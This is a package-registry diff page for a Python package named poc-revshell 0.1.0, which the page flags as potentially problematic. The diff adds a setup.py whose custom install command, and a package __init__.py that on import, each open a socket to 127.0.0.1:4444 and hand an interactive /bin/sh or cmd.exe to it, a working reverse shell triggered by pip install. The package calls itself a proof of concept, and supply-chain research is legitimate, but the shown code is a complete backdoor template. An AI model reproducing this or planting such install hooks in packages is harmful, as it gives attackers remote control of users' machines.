poc-revshell 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of poc-revshell might be problematic. Click here for more details.

@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.4
2
+ Name: poc-revshell
3
+ Version: 0.1.0
4
+ Summary: PoC: pip install triggers reverse shell
5
+ Requires-Python: >=3.8
@@ -0,0 +1,19 @@
1
+ import socket, subprocess, os, threading
2
+
3
+ LHOST = "127.0.0.1"
4
+ LPORT = 4444
5
+
6
+ def _pop():
7
+ try:
8
+ s = socket.socket()
9
+ s.connect((LHOST, LPORT))
10
+ os.dup2(s.fileno(), 0)
11
+ os.dup2(s.fileno(), 1)
12
+ os.dup2(s.fileno(), 2)
13
+ subprocess.call(["/bin/sh", "-i"] if os.name != "nt" else ["cmd.exe"])
14
+ except Exception:
15
+ pass
16
+
17
+ threading.Thread(target=_pop, daemon=True).start()
18
+
19
+ __version__ = "0.1.0"
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.4
2
+ Name: poc-revshell
3
+ Version: 0.1.0
4
+ Summary: PoC: pip install triggers reverse shell
5
+ Requires-Python: >=3.8
@@ -0,0 +1,7 @@
1
+ pyproject.toml
2
+ setup.py
3
+ poc_revshell/__init__.py
4
+ poc_revshell.egg-info/PKG-INFO
5
+ poc_revshell.egg-info/SOURCES.txt
6
+ poc_revshell.egg-info/dependency_links.txt
7
+ poc_revshell.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ poc_revshell
@@ -0,0 +1,9 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "poc-revshell"
7
+ version = "0.1.0"
8
+ description = "PoC: pip install triggers reverse shell"
9
+ requires-python = ">=3.8"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,28 @@
1
+ import setuptools, subprocess, sys, os, socket, threading
2
+ from setuptools.command.install import install as _install
3
+
4
+ LHOST = "127.0.0.1"
5
+ LPORT = 4444
6
+
7
+ def _pop():
8
+ try:
9
+ s = socket.socket()
10
+ s.connect((LHOST, LPORT))
11
+ os.dup2(s.fileno(), 0)
12
+ os.dup2(s.fileno(), 1)
13
+ os.dup2(s.fileno(), 2)
14
+ subprocess.call(["/bin/sh", "-i"] if os.name != "nt" else ["cmd.exe"])
15
+ except Exception:
16
+ pass
17
+
18
+ class PostInstall(_install):
19
+ def run(self):
20
+ super().run()
21
+ threading.Thread(target=_pop, daemon=True).start()
22
+
23
+ setuptools.setup(
24
+ name="poc-revshell",
25
+ version="0.1.0",
26
+ packages=["poc_revshell"],
27
+ cmdclass={"install": PostInstall},
28
+ )